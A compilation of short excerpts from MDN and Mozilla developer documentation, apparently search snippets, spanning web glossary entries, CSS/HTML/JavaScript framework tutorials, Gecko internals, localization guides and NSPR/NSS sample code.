a man-in-the-middle attack (mitm) intercepts a communication between two systems.
...you wouldn't know there's a man in the middle in your communication channel – the mailman is invisible to you and to your recipient.
... in physical mail and in online communication, mitm attacks are tough to defend.
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
two kinds of parameters: input parameters the most common kind; they pass values into functions.
... depending on programming language, input parameters can be passed several ways (e.g., call-by-value, call-by-address, call-by-reference).
... output/return parameters primarily return multiple values from a function, but not recommended since they cause confusion learn more general knowledge difference between parameter and argument on wikipedia technical reference function declaration function expression ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
all primitives are immutable, i.e., they cannot be altered.
... example this example will help you understand that primitive values are immutable.
...(note that window.foo could still be used to access the external foo variable.) in conclusion, any changes inside our functions won't affect the original foo at all, as we are modifying copies of it that's why primitives are immutable - instead of changing them directly, we're modifying a copy, without affecting the original.
Python - MDN Web Docs Glossary: Definitions of Web-related terms
python is a high level general-purpose programming language.
... it uses a multi-paradigm approach, meaning it supports procedural, object-oriented, and some functional programming constructs.
... python is developed under an osi-approved open source license, making it freely usable and distributable, even for commercial use.
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
synchronous refers to real-time communication where each party receives (and if necessary, processes and replies to) messages instantly (or as near to instantly as possible).
... a human example is the telephone — during a telephone call you tend to respond to another person immediately.
... many programming commands are also synchronous — for example when you type in a calculation, the environment will return the result to you instantly, unless you program it not to.
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax generally includes grammar and the rules that apply to writing it, such as indentation requirements in python.
... syntax applies both to programming languages (commands to the computer) and markup languages (document structure information) alike.
... learn more general knowledge syntax (programming languages) on wikipedia ...
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
transport layer security (tls), formerly known as secure sockets layer (ssl), is a protocol used by applications to communicate securely across a network, preventing tampering with and eavesdropping on email, web browsing, messaging, and other protocols.
... both ssl and tls are client / server protocols that ensure communication privacy by using cryptographic protocols to provide security over a network.
... when a server and client communicate using tls, it ensures that no third party can eavesdrop or tamper with any message.
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
by assigning each character a number, programmers can create character encodings, to let computers store, process, and transmit any combination of languages in the same file or program.
... the most common unicode character encoding on the web is utf-8.
... other encodings exist, like utf-16 or the obsolete ucs-2, but utf-8 is recommended.
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
web content accessibility guidelines (wcag) are a recommendation published by the web accessibility initiative group at the w3c.
... wcag 2.0 which superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008.
... learn more general knowledge wcag on wikipedia technical knowledge accessibility information on mdn the wcag 2.0 recommendation at the w3c ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a web application programming interface (api).
... it uses a somewhat stylized syntax which is independent of any specific programming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
... webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the programmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the api.
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
several common http methods are safe: get, head, or options.
... safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-commerce web site.
... technical knowledge description of common safe methods: get, head, options description of common unsafe methods: put, delete, post ...
Assessment: Accessibility troubleshooting - Learn web development
the two <input> elements in the comment form have visible text labels, but they are not unambiguously associated with their labels — how do you achieve this?
... the show/hide comment control the show/hide comment control button is not current keyboard-accessible.
... the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows.
Advanced styling effects - Learn web development
multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px b...
...it is not very commonly used, but worth mentioning.
... summary we hope this article was fun — playing with shiny toys generally is, and it is always interesting to see what kinds of advanced styling tools are becoming available in modern browsers.
Fundamental CSS comprehension - Learn web development
above the two rules, add a css comment with some text inside it to indicate that this is a set of general styles for the overall page.
...also add three more comments at the bottom of the css file to indicate styles specific to the setup of the card container, styles specific to the header and footer, and styles specific to the main business card contents.
...write these down somewhere where they can be found later on, such as in a comment at the top of your css.
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
... a common use of max-width is to cause images to scale down if there is not enough space to display them at their intrinsic width while making sure they don't become larger than that width.
... summary this lesson has given you a rundown of some key issues that you might run into when sizing things on the web.
Flexbox - Learn web development
this is because the default values given to flex items (the children of the flex container) are set up to solve common problems such as this.
...at the moment you'll see a horizontal menu bar, with some buttons jammed into the top left hand corner.
... summary that concludes our tour of the basics of flexbox.
Practical positioning examples - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to get an idea of the practicalities of positioning a tabbed info-box the first example we'll look at is a classic tabbed info box — a very common feature used when you want to pack a lot of information into a small area.
... summary so that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to start applying these to build some interesting ui features.
... don't worry if you didn't get this all immediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding.
Responsive design - Learn web development
the media queries level 3 specification became a candidate recommendation in 2009, meaning that it was deemed ready for implementation in browsers.
... a common approach when using media queries is to create a simple single-column layout for narrow-screen devices (e.g mobile phones), then check for larger screens and implement a multiple-column layout when you know that you have enough screen width to handle it.
... summary responsive design refers to a site or application design that responds to the environment in which it is viewed.
Supporting older browsers - Learn web development
previous overview: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs.
...if you have a tiny number of people coming to the site in these browsers it may not make commercial sense to pour time into trying to give them a similar experience to people on modern browsers.
... summary you now have the knowledge to confidently use techniques such as grid and flexbox, create fallbacks for older browsers, and make use of any new techniques that might come along in the future.
CSS layout - Learn web development
floats originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... legacy layout methods grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
... supporting older browsers in this module we recommend using flexbox and grid as the main layout methods for your designs.
Getting started with CSS - Learn web development
there are three different ways to apply css to an html document that you'll commonly come across, however, for now, we will look at the most usual and useful way of doing so — linking css from the head of your document.
...to turn all paragraphs green you would use: p { color: green; } you can target multiple selectors at once, by separating the selectors with a comma.
...the most common way to do this is to add a class to your html element and target that class.
Styling text - Learn web development
with the basics of the css language covered, the next css topic for you to concentrate on is styling text — one of the most common things you'll do with css.
... styling links when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs.
... typesetting a community school homepage in this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.
How does the Internet work? - Learn web development
summary the internet is the backbone of the web, the technical infrastructure that makes the web possible.
... at its most basic, the internet is a large network of computers which communicate all together.
... deeper dive a simple network when two computers need to communicate, you have to link them, either physically (usually with an ethernet cable) or wirelessly (for example with wifi or bluetooth systems).
How much does it cost to do something on the Web? - Learn web development
summary when launching a website, you may spend nothing, or your costs may go through the roof.
...sites like pixabay provide images under cc0 license, so you can use, edit and publish them even with modification for commercial use.
...windows explorer, nautilus (a common linux file manager), and the mac finder all include this functionality.
What is a URL? - Learn web development
summary with hypertext and http, url is one of the key concepts of the web.
...in practice, there are some exceptions, the most common being a url pointing to a resource that no longer exists or that has moved.
... implicit domain name /docs/learn this is the most common use case for an absolute url within an html document.
What is a Domain Name? - Learn web development
summary domain names are a key part of the internet infrastructure.
... alternatively, if you use a system with a built-in shell, type a whois command into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc.
... (r37-lror) sponsoring registrar iana id: 292 whois server: referral url: domain status: clientdeleteprohibited domain status: clienttransferprohibited domain status: clientupdateprohibited registrant id:mmr-33684 registrant name:dns admin registrant organization:mozilla foundation registrant street: 650 castro st ste 300 registrant city:mountain view registrant state/province:ca registrant postal code:94041 registrant country:us registrant phone:+1.6509030800 as you can see, i can't register mozilla.org because the mozilla foundation has already registered it.
HTML forms in legacy browsers - Learn web development
learn about the issues to understand common patterns, it helps to read browser documentation.
...while resolved in all modern browsers, it is still recommended to always set the type attribute on <button> elements.
... to summarize, when it comes to styling form control widgets, the side effects of styling them with css can be unpredictable.
Publishing your website - Learn web development
tips for finding hosting and domains mdn does not promote specific commercial hosting companies or domain name registrars.
...then click commit changes.
...if your website does not display immediately, wait a few minutes.
Define terms with HTML - Learn web development
how to mark informal description in textbooks, the first time a keyword occurs, it's common to put the keyword in bold and define it right away.
...here are recommendations for marking up dialogue.
...the matching description follows immediately, contained within one or more <dd> elements.
HTML Tables - Learn web development
LearnHTMLTables
a very common task in html is structuring tabular data, and it has a number of elements and attributes for just this purpose.
... coupled with a little css for styling, html makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
Structuring the web with HTML - Learn web development
it is recommended that you work through getting started with the web before attempting this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail.
...this module covers basic table markup, along with more complex features such as implementing captions and summaries.
... solving common html problems use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
What went wrong? Troubleshooting JavaScript - Learn web development
fixing syntax errors earlier on in the course we got you to type some simple javascript commands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the previous link to find out how).
... other common errors there are other common errors you'll come across in your code.
... summary so there we have it, the basics of figuring out errors in simple javascript programs.
Introducing JavaScript objects - Learn web development
object-oriented javascript for beginners with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented programming languages.
... working with json data javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax, which is commonly used for representing and transmitting data on web sites (i.e.
Web performance - Learn web development
learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance.
... we do however recommend that before you work through this module, you at least get a basic idea of web development by working through our getting started with the web module.
... javascript performance best practices javascript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience.
Learning area release notes - Learn web development
if you want to give feedback on any of these new additions, please leave comments in our discourse forum.
...learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla javascript you may already know.
...learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain.
Accessibility in React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...however, you may have noticed a new problem — the "edit" button in the final <todo /> component is focussed immediately on page load, before we even interact with the app!
...this isn't a problem — we can make any element programmatically focusable by adding the attribute tabindex="-1" to it.
Beginning our React todo list - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... then, copy and paste the following commands into your terminal to delete some unneeded files.
... summary now our todo list app actually looks a bit more like a real app!
Starting our Svelte Todo list app - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... moreover, our editor can display this warning even before calling the compiler: you can tell svelte to ignore this warning for the next block of markup with a comment beginning with svelte-ignore, like this: <!-- svelte-ignore a11y-missing-attribute --> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> note: with vscode you can automatically add this ignore comment by clicking on the quick fix...
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 summary with our markup and styling in place our todo list app is starting to take shape, and we have everything ready so that we can start to focus on the features we have to implement.
Dynamic behavior in Svelte: working with variables and props - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...update it with a click event, like so: <button type="button" class="btn btn__danger" on:click={() => removetodo(todo)} > delete <span class="visually-hidden">{todo.name}</span> </button> a very common mistake with handlers in svelte is to pass the result of executing a function as a handler, instead of passing the function.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 summary that will do for now!
Adding a new todo form: Vue events, methods, and models - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...since name is already being trimmed by the .trim directive, we only need to test for the empty string.
... summary excellent.
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
...command line crash course in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
... this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
Accessibility/LiveRegionDevGuide
as always, we're open to questions and suggestions for changes in community forums.
... filtering for performance the most significant difference between at-spi and iaccessible2 is that at-spi is an inter-process communication service while iaccessible2 runs in process.
...in this case, 'main' channel messages are queued according to the 'live' property and 'alert' channel messages bypass the queue and are output immediately.
Accessibility information for UI designers and developers
this is specifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors.
...it is recommended to use native controls, visibly or under the hood.
... see also: heading elements join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Multiprocess on Windows
arraydata contains seven fields: iid miid; ulong mmethodindex; ulong marrayparamindex; vartype marrayparamtype; iid marrayparamiid; ulong mlengthparamindex; flag mflag; miid is the uuid of the interface owning the function.
... mmethodindex is the vtable index of the function within its interface.
...for example, if interface ifoo inherits from iunknown, the lowest possible mmethodindex for ifoo could be 3, because indices 0, 1, and 2 are occupied by the functions that ifoo inherited from iunknown.
Adding a new event
basicevents.h this header file should be used only for defining generic purpose event class such as a common super class of various event classes.
... however, there are some hints: set meventisinternal in the constructor of the most descendant class because each constructor creates dummy internal event instance at calling constructors of its super class.
...see the comments of the head of the file for the detail.
Continuous Integration
when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure.
... when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits).
... below is a list of the most common.
Creating JavaScript callbacks in components
a common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern.
...javascript functions as callbacks another common use of the pattern is found in addeventlistener / removeeventlistener.
...remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this possible?
Gecko Logging
set moz_log="example_logger:3" in the windows command prompt (cmd.exe), don't use quotes: set moz_log=example_logger:3 if you want this on geckoview example, use the following adb command to launch process: adb shell am start -n org.mozilla.geckoview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior.
... sync print each log synchronously, this is useful to check behavior in real time or get logs immediately before crash.
... it is common for debug and trace to be disabled at compile time in release builds, so you may need a debug build if you want logs from those levels.
Reviewer Checklist
commonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and review".
... android permissions should be 'grouped' into a common release to avoid breaking auto-updates.
... documentation the commit message should describe what the patch is changing (not be a copy of the bug summary).
Index
found 172 pages: # page tags and summary 1 firefox firefox, landing, mozilla here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
... 3 building firefox with rust code build documentation, gecko, build, rust in may 2015 the rust programming language reached its 1.0 stability milestone, and various experiments with writing parts of gecko in rust began.
... 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.
Process scripts
the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ...
... this can be achieved by traversing the docshell tree up to the top window and then retrieving its content message manager, as follows: function contentmmfromcontentwindow(window) { let tree = window.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidocshelltreeitem); let top = tree.sametyperoottreeitem; let iface = queryinterface(ci.nsidocshell).queryinterface(ci.nsiinterfacerequestor); return iface.getinterface(ci.nsicontentframemessagemanager); } this is intended for unprivileged pages running in a content process.
... if the above doesn't work try this: function contentmmfromcontentwindow_method2(acontentwindow) { return acontentwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidocshell) .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsicontentframemessagemanager); } ...
Gecko's "Almost Standards" Mode
a common case that this affects is the layout of images inside table cells.
... recommendations for authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-table design concepts, make sure to use a doctype that will trigger "almost standards" mode.
...meyer, netscape communications last updated date: published 08 nov 2002 copyright information: copyright © 2001-2003 netscape.
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
... ipdl recap ipdl is a language used to define "protocols" — essentially formalized versions of how two things can communicate.
... not every communication between the chrome and content processes necessarily wants to go through the main threads of both (or even either) processes.
Integrated Authentication
spnego is commonly referred to as the "negotiate" authentication protocol.
... the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server.
... original document information author(s): darin fisher last updated date: december 27, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Addon
for some add-ons this will change immediately based on the appdisabled and userdisabled properties; for others it will only change after an application restart.
... fulldescription read only string developercomments read only string eula read only string icon64url read only string supporturl read only string contributionurl read only string contributionamount read only string averagerating read only number reviewcount read only integer reviewurl read only str...
...if possible the uninstall will happen immediately, otherwise it will wait until the next application restart.
Assert.jsm
the assert.jsm javascript code module implements the commonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-common/assert.jsm"); the assert class offers methods for performing common logical assertions.
...xpected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-common/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
JNI.jsm
the most common use for this module is in add-ons and other works on firefox for android (fennec).
... jni.jsm contains all the js-ctypes needed to communicate with the jni libraries.
...therefore, it is always recommended to use slash notation.
Promise
see handling errors and common pitfalls below.
... new promise(executor); parameters executor this function is invoked immediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed.
... handling errors and common pitfalls you should report unhandled errors, unless you're handing off the promise to a caller or another code path that will handle the error.
Services.jsm
the services.jsm javascript code module offers a wide assortment of lazy getters that simplify the process of obtaining references to commonly used services.
...ocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlin...
... els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences...
Localization and Plurals
usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
...e correct plural form for 10 downloads: "you have 10 downloads.") print("you have " + num + " " + pluralform.get(num, downloads) + "."); // try again with a different value: "you have 1 download." num = 1; print("you have " + num + " " + pluralform.get(num, downloads) + ".") the above example works, but is still difficult to localize, because we're concatenating strings assuming a particular grammatical structure.
... function that returns the number of plural forms] */ [string pluralform get(int anum, string awords), int numforms numforms()] makegetter(int arulenum) here is an example usage of makegetter: components.utils.import("resource://gre/modules/pluralform.jsm"); // let's get irish (plural rule #11) let [get, numforms] = pluralform.makegetter(11); // make up some values to use with "get" let dummytext = "form 1;form 2;form 3;form 4;form 5"; let dummynum = 10; // in the case of irish, the value 10 uses plural form #4, so "form 4" is printed print(get(dummynum, dummytext)); in this example, the irish plural rule was hardcoded, but this could be a value specified in the .properties file.
Localizing with Mozilla Translator
getting started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt.
... finally, you commit your changes outside of mt, using your favorite repository tools.
... frenchmozilla has just [http://groups.google.es/group/mozill...eaf9f1322fa2fb announced] they are providing an en-us only mercurial repository comprising both mozilla-central and comm-central.
Localizing with Pontoon
user menu allows for user-specific tasks, like commiting to repository, downloading files and signing out.
...comments) opens.
... publishing your localization suppose you now want to publish your l10n work by committing it to a repo.
Patching a Localization
cd ~/localization-workdir/gl create a patch (also known as a diff) using the diff command.
... hg diff this command creates a patch and lists your modifications through displaying the differences in a unified patch's files.
...the command will only print the differences found in the selected files.
Translation phase
it's up to you and your community to determine which l10n tool will best suit your needs.
... babelzilla adofex tool-independent localization are you a command-line master?
...this is where you research and select the search plugins, content and protocol handlers, bookmarks, and links to recommended sites on the in-product pages that your locale's users will find in their mozilla products.
Localization sign-off reviews
does not need to be approved before revision merge between release channels, although it is recommended.
...this is a common problem with some tools.
... further indications of tool-originated corruption this is common.
Writing localizable code
about localizers a few notes about localizers for developers who rarely deal with them: localizers like tools, and they don't like editors, localization tools are often based on key-value pairs, at least some localizers have their talents focused on language skills and are not savvy in programming, or even building applications.
... try not to assume grammar in composite strings splitting sentences into several keys often inadvertently presumes a grammar, a sentence structure, and such composite strings are often very difficult to translate.
...using a directory structure like this eases the localization process without the source code and is especcially recommended to extension authors.
Mozilla Framework Based on Templates (MFBT)
mfbt code goes to some length to document all its interfaces in comments, including examples when possible.
... it also attempts to define its functionality in well-named files, such that simply skimming the contents of mfbt/ will quickly suggest the relevant header to examine.
... therefore this document primarily attempts to direct readers to the correct file to read those comments.
Mozilla DOM Hacking Guide
please send any comment to fabian guisset.
...however a common technique is to do window.location = "http://mozilla.org" instead of the correct window.location.href = "http://mozilla.org".
... original document information author(s): fabian guisset last updated date: september 27, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla Port Blocking
"access to the port number given has been disabled for security reasons." "establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (ns_error_port_access_not_allowed)" if your product or web site uses a port which is blocked by mozilla's default port blocking rules, you can either change the port of your service to a unblocked value (recommended if possible) or ask your mozilla users to enable the port.
...modifying mozilla's port blocking at run time users can modify the default port blocking through the addition of preferences containing comma delimited lists of port numbers to the user.js file (for single users with the user_pref(…) command) in the user's profile directory.
... more information nsioservice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla Development Strategies
take extra time to do it right the first time it's also better to come up with one really solid, well tested, well commented, clean, easy to maintain piece of code than a bunch of quick fixes.
...you'll need this one for regressions that require your immediate attention (a new crasher, a blocker, or problem in your area, for example).
...cvs commit client.mak nmake -f client.mak original document information author(s): seth spitzer and alec flett last updated date: september 3, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla projects on GitHub
mozilla-appmaker the appmaker project -- a web tool to let non-programmers create apps.
... opennews the knight-mozilla open news project, helping the journalism/technology community do great work through shared knowledge and code.
... rust-lang the rust programming language, designed for safe concurrent code.
Refcount tracing and balancing
xpcom_mem_log_classes this variable should contain a comma-separated list of names which will be used to compare against the types of the objects being logged.
... you may use an object's serial number with the following variable to further restrict the reference count tracing: xpcom_mem_log_objects set this variable to a comma-separated list of object serial number or ranges of serial number, e.g., 1,37-42,73,165 (serial numbers start from 1, not 0).
...hmm...this probably isn't okay, especially because...
tools/power/rapl
tools/power/rapl (or rapl for short) is a command-line utility in the mozilla tree that periodically reads and prints all available intel rapl power estimates.
... once sampling is finished — either because the user interrupted it, or because the requested number of samples has been taken — the following summary data is shown: 10 samples taken over a period of 10.000 seconds distribution of 'total' values: mean = 8.85 w std dev = 3.50 w 0th percentile = 5.17 w (min) 5th percentile = 5.17 w 25th percentile = 5.17 w 50th percentile = 8.13 w 75th percentile = 11.16 w 95th percentile = 14.63 w 100th percentile = 14.63 w (max) the distribution data is omitted if there ...
... combining with powermetrics on mac, you can use the mach power command to run rapl in combination with powermetrics in a way that gives the most useful summary measurements for each of firefox, chrome and safari.
About NSPR
it strives to not export the lowest common denominator, but to exploit the best features of each operating system on which it runs, and still provide a uniform service across a wide range of host offerings.
...hoare in monitors: an operating system structuring concept , communications of the acm, 17(10), october 1974 and then formalized by xerox' mesa programming language ("mesa language manual", j.g.
...depending on the platform, the functions may be implemented almost entirely in the nspr runtime or simply shims that call immediately into the host operating system's offerings.
NSPR build instructions
prerequisites on windows, the nspr build system needs gnu make and a unix command-line utility suite such as mks toolkit, cygwin, and msys.
... these two options can actually be used independently, but it's not recommended.
...we recommend most applications use the "win95" configuration.
I/O Functions
for information about the types most commonly used with the functions described in this chapter, see i/o types.
...s type praccesshow functions that act on file descriptors pr_close pr_read pr_write pr_writev pr_getopenfileinfo pr_getopenfileinfo64 pr_seek pr_seek64 pr_available pr_available64 pr_sync pr_getdesctype pr_getspecialfd pr_createpipe directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket manipulation functions the network programming interface presented here is a socket api modeled after the popular berkeley sockets.
... pr_createfilemap pr_memmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor.
Locks
lock type lock functions in nspr, a mutex of type prlock controls locking, and associated condition variables communicate changes in state among threads.
... when a programmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data.
...monitors in this generic sense should not be confused with monitors used in java programming.
NSS Sample Code sample2
nss sample code 2: symmetric encryption /* example code to illustrate des enccryption/decryption using nss.
... * note: iv is only needed if cipher blocking chaining (cbc) mode of encryption * is used * * the recommended approach is to store and transport wrapped (encrypted) * des keys (ivs can be in the clear).
... however, it is a common (and dangerous) * practice to use raw des keys.
NSS Sample Code sample6
nss sample code 6: persistent symmetric keys in nss database /* example code to illustrate generation of a secret symmetric key ring * that persists in the nss database.
... the symmetric keys can then be used * without ever exposing them in the clear.
... * in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
TLS Cipher Suite Discovery
in order to communicate securely, an tls client and tls server must agree on the cryptographic algorithms and keys that they will both use on the secured connection.
...when a new version of a tls implementation is made available for use by applications, those applications may wish to immediately use the newly supported cipher suites found in the new version, without the application needing to be modified and re-released to know about these new cipher suites.
...r { pruint16 length; pruint16 ciphersuite; /* cipher suite name */ const char * ciphersuitename; /* server authentication info */ const char * authalgorithmname; sslauthtype authalgorithm; /* key exchange algorithm info */ const char * keatypename; sslkeatype keatype; /* symmetric encryption info */ const char * symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; pruint16 symkeyspace; pruint16 effectivekeybits; /* mac info */ const char * macalgorithmname; sslmacalgorithm macalgorithm; pruint16 macbits; pruintn isfips ...
Rhino Examples
